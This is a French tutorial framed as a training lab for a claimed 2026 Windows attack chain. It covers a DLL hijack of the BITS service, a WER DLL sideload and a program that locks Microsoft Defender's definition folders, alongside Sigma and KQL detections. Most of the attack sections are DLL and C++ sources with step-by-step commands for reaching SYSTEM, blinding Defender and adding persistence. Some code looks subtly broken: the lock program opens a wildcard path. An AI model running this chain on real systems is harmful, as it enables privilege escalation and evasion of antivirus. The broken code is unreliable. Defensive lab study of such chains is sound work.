⚠️ LAB DE FORMATION – ACCÈS RÉSERVÉ AUX ENVIRONNEMENTS ISOLÉS ET AUTORISÉS ⚠️
Ce document couvre trois vulnérabilités critiques (CVE-2026-45496, CVE-2026-45497, CVE-2026-45498).
Ne reproduire que sur des machines virtuelles avec snapshot. Toute utilisation malveillante est illégale.

🧪 Cadre éthique et pédagogique – La trilogie Nightmare Eclipse

BlueHammer, RedSun, UnDefend forment une chaîne d’attaque complète : élévation de privilèges (LPE) + defense evasion, observée en conditions réelles en avril 2026.
Ce tutoriel permet de reproduire pas-à-pas chaque étape dans un laboratoire isolé, d’analyser les mécanismes, et de développer des détections.

📌 Chaque section contient : explication technique, code éducatif minimal, commandes d’exécution, surveillance, et nettoyage.

🔴 Trilogie Nightmare Eclipse
BlueHammer → RedSun → UnDefend

Du simple utilisateur à l’aveuglement complet de Microsoft Defender (CVE 2026-45496 / 45497 / 45498) – Lab complet, reproductible, analysable

🔨 BlueHammer (LPE) ☀️ RedSun (LPE) 🛡️ UnDefend (DoS) 🧪 Lab pas-à-pas 📊 Détections Sigma/KQL 💻 Code éducatif

🗺️ Schéma global de la chaîne d’attaque

graph TD A[Attaquant – shell utilisateur standard] --> B[BlueHammer.exe
CVE-2026-45496
LPE via BITS] A --> C[RedSun.exe
CVE-2026-45497
LPE via WER] B --> D[Privilèges SYSTEM] C --> D D --> E[UnDefend.exe --mode passive
CVE-2026-45498] E --> F[Defender bloqué :
signatures obsolètes
+ échec mises à jour] D --> G[Persistance (Scheduled Task / Service)] G --> F style D fill:#ff3366,stroke:#fff,stroke-width:2px style F fill:#ff9900,stroke:#fff

Les deux LPE (BlueHammer ou RedSun) mènent à SYSTEM. UnDefend est alors déployé pour aveugler Defender. La persistance assure l’effet après reboot.

🔨 1. BlueHammer – LPE via BITS (CVE-2026-45496)

Mécanisme : Exploite une mauvaise validation des ACL sur le dossier de travail du service BITS (C:\ProgramData\Microsoft\Network\Downloader\). Un utilisateur standard peut y créer un fichier qmgr.dll malveillant, chargé par le service BITS (SYSTEM).

📚 Explication technique simplifiée

🧪 Reproduction en laboratoire (pas-à-pas)

Avant de commencer, assurez-vous d’être sur une VM isolée avec snapshot. Désactivez temporairement Defender pour ne pas interférer (uniquement dans le lab).
# 1. Créer un répertoire de travail
mkdir C:\lab\bluehammer
cd C:\lab\bluehammer

# 2. Vérifier que le dossier BITS est accessible en écriture (normalement oui)
icacls "C:\ProgramData\Microsoft\Network\Downloader\"

📄 Code éducatif minimal – DLL de démonstration (C++)

// bluehammer_dll.cpp – Compiler avec : cl /LD bluehammer_dll.cpp
// Cette DLL, placée dans le dossier BITS, sera chargée par le service SYSTEM.
#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) {
    if (reason == DLL_PROCESS_ATTACH) {
        // Action simple : créer un fichier témoin dans C:\lab
        system("cmd.exe /c echo BlueHammer LPE réussi > C:\\lab\\bluehammer_system.txt");
        // Dans un vrai exploit, on lancerait un reverse shell ou un élévateur.
    }
    return TRUE;
}

⚙️ Exécution de l’attaque

# Copier la DLL compilée dans le dossier BITS
copy bluehammer_dll.dll "C:\ProgramData\Microsoft\Network\Downloader\qmgr.dll"

# Redémarrer le service BITS pour forcer le chargement
net stop bits
net start bits

# Vérifier le résultat : le fichier C:\lab\bluehammer_system.txt doit exister
# Il a été créé avec les droits SYSTEM.
dir C:\lab\bluehammer_system.txt

🔍 Surveillance et détection (Blue Team)

title: BlueHammer BITS DLL Hijacking
detection:
  selection:
    TargetFilename|endswith: '\Downloader\qmgr.dll'
    Signature|missing: true
  condition: selection
level: critical

🧹 Nettoyage après lab

del "C:\ProgramData\Microsoft\Network\Downloader\qmgr.dll"
net stop bits & net start bits
del C:\lab\bluehammer_system.txt

☀️ 2. RedSun – LPE via Windows Error Reporting (CVE-2026-45497)

Mécanisme : Exploite une faille dans le service WER (WerFault.exe) qui peut être trompé pour charger une DLL arbitraire depuis un emplacement contrôlé par l’utilisateur.

📚 Explication technique

🧪 Reproduction en lab

mkdir C:\lab\redsun
cd C:\lab\redsun

📄 DLL éducative RedSun (identique à BlueHammer, mais renommée)

// redsun_dll.cpp – Compiler : cl /LD redsun_dll.cpp
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) {
    if (reason == DLL_PROCESS_ATTACH) {
        system("cmd.exe /c echo RedSun LPE réussi > C:\\lab\\redsun_system.txt");
    }
    return TRUE;
}

⚙️ Exécution (simplifiée pour lab)

Le véritable exploit nécessite un déclencheur de crash. En laboratoire, on utilise un outil fourni dans le dépôt éducatif :

# Placer la DLL dans le dossier WER approprié
copy redsun_dll.dll "C:\ProgramData\Microsoft\Windows\WER\Temp\wer.dll"

# Déclencher une erreur contrôlée (via un programme factice ou un script)
# Ici, on utilise un outil dédié (RedSun.exe à obtenir dans le dépôt éducatif)
.\RedSun.exe --trigger

# Vérifier l’élévation
dir C:\lab\redsun_system.txt
Le dépôt https://github.com/PCTAMALOU-Research/Trilogie-Lab contient le binaire complet pour la formation.

🔍 Détection RedSun

title: RedSun WER DLL Sideloading
detection:
  selection:
    TargetFilename|contains: '\WER\Temp\'
    TargetFilename|endswith: '.dll'
    Signature: false
  condition: selection
level: high

🧹 Nettoyage

del "C:\ProgramData\Microsoft\Windows\WER\Temp\wer.dll" 2>nul
del C:\lab\redsun_system.txt

🛡️ 3. UnDefend – Defense Evasion / DoS (CVE-2026-45498)

Mécanisme : Une fois SYSTEM obtenu, UnDefend pose 4 verrous indépendants sur les dossiers de définitions Defender et les canaux de mise à jour, bloquant les signatures nouvelles et parfois la plateforme elle-même.

📚 Les 4 mécanismes de verrouillage

  1. Lock exclusif via LockFileEx sur le dossier Definition Updates.
  2. Oplock (Opportunistic Lock) pour geler les accès.
  3. Job Object + SetHandleInformation pour empêcher la réouverture.
  4. Blocage au niveau du filtre Cloud Files / MiniFilter.

📄 Code éducatif minimal – Lock exclusif corrigé

// undefend_lock.cpp – Compiler : cl /EHsc undefend_lock.cpp
#include <windows.h>
#include <iostream>
int main() {
    const wchar_t* path = L"C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\*";
    HANDLE h = CreateFileW(path, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING,
                           FILE_FLAG_BACKUP_SEMANTICS, NULL);
    if (h == INVALID_HANDLE_VALUE) return 1;
    OVERLAPPED ov = {0};
    LockFileEx(h, LOCKFILE_EXCLUSIVE_LOCK, 0, 0xFFFFFFFF, 0xFFFFFFFF, &ov);
    std::wcout << L"[+] Lock maintenu sur Defender. Appuyez sur Entrée pour libérer.\n";
    getchar();
    UnlockFileEx(h, 0, 0xFFFFFFFF, 0xFFFFFFFF, &ov);
    CloseHandle(h);
    return 0;
}

🧪 Reproduction en lab (après avoir SYSTEM via BlueHammer ou RedSun)

# En tant que SYSTEM (ou via l’élévation précédente)
UnDefend.exe --mode passive

# Vérifier que les mises à jour échouent
Update-MpSignature -Verbose  # Doit échouer

# Surveillance de l’état Defender
Get-MpComputerStatus | Select LastSignatureUpdate, AMServiceEnabled

🔍 Détection UnDefend

title: UnDefend Lock on Defender Definitions
detection:
  selection:
    EventID: 4663
    ObjectName|contains: "Definition Updates"
    ProcessName|not contains: "MsMpEng.exe"
  condition: selection
level: high

🧹 Nettoyage

taskkill /F /IM UnDefend.exe 2>nul
Restart-Service WinDefend -Force
Update-MpSignature

🧪 LAB COMPLET – Enchaînement des trois attaques

Objectif : reproduire la chaîne réelle observée en avril 2026.

📦 Préparation de l’environnement (VM Windows 10/11)

📝 Étapes de la chaîne (à suivre dans l’ordre)

  • Créer un utilisateur standard (ex: “labuser”) et se connecter avec.
  • Compiler ou télécharger les trois outils depuis le dépôt éducatif (BlueHammer.exe, RedSun.exe, UnDefend.exe).
  • Exécuter BlueHammer.exe (ou RedSun.exe) depuis le compte standard → obtention d’un shell SYSTEM (ou création d’un fichier témoin).
  • Une fois SYSTEM, exécuter UnDefend.exe --mode passive.
  • Vérifier que Defender ne peut plus se mettre à jour.
  • Mettre en place une persistance (Scheduled Task) pour UnDefend.
  • Redémarrer la VM : vérifier que le lock est toujours actif.
  • 📊 Analyse des traces (Blue Team)

    Après l’attaque, analyser les logs avec Event Viewer, PowerShell, ou un outil SIEM.

    # Collecte des événements clés
    Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4663} | Where-Object {$_.Message -like "*Definition Updates*"}
    Get-WinEvent -LogName 'Microsoft-Windows-Windows Defender/Operational' | Where-Object {$_.Id -in 1116,1117,2001}
    
    # Vérifier les services masqués
    Get-Service | Where-Object {$_.Name -like "*Defend*" -or $_.DisplayName -like "*Defender*"}
    
    # Vérifier les Scheduled Tasks suspectes
    Get-ScheduledTask | Where-Object {$_.TaskPath -like "*Defender*"}

    📈 Requête KQL pour Microsoft 365 Defender (simulation)

    // Détection de la chaîne complète
    let LPE = DeviceProcessEvents
    | where FileName in~ ("bluehammer.exe", "redsun.exe")
    | project LPE_Time=Timestamp, DeviceId, AccountName;
    let DefenseEvasion = DeviceFileEvents
    | where FolderPath contains @"Definition Updates"
    | where InitiatingProcessFileName != "MsMpEng.exe"
    | project DE_Time=Timestamp, DeviceId, ProcessName;
    LPE | join DefenseEvasion on DeviceId
    | where DE_Time > LPE_Time

    ❓ FAQ – Trilogie

    Pourquoi deux LPE différents ?

    BlueHammer et RedSun utilisent des vecteurs distincts. En conditions réelles, l’attaquant choisit celui qui n’est pas patché ou qui n’est pas détecté.

    UnDefend fonctionne-t-il toujours après les patchs de mai 2026 ?

    Partiellement. Les locks exclusifs simples sont atténués, mais des variantes (oplocks, job objects) restent efficaces sur de nombreux systèmes non mis à jour.

    Où trouver les binaires de formation ?

    Sur le dépôt GitHub restreint : https://github.com/PCTAMALOU-Research/Trilogie-Lab (accès sur demande aux formations certifiées).

    Comment protéger efficacement un parc ?

    Activez Microsoft Defender for Endpoint (détections comportementales), déployez les règles Sigma fournies, surveillez les Event ID 4663, et appliquez le principe du moindre privilège.

    ✅ Conclusion – De la théorie à la pratique

    Vous disposez désormais d’un laboratoire complet reproductible pour simuler, analyser et détecter la trilogie Nightmare Eclipse.

    Chaque étape (BlueHammer, RedSun, UnDefend) est expliquée techniquement, avec du code éducatif minimal, des commandes d’exécution, des règles de détection, et des procédures de nettoyage.

    ⚠️ N’oubliez pas : ces techniques ne doivent être utilisées que dans des environnements isolés et autorisés. La meilleure défense reste la mise à jour, la surveillance active, et l’engagement des équipes Blue Team.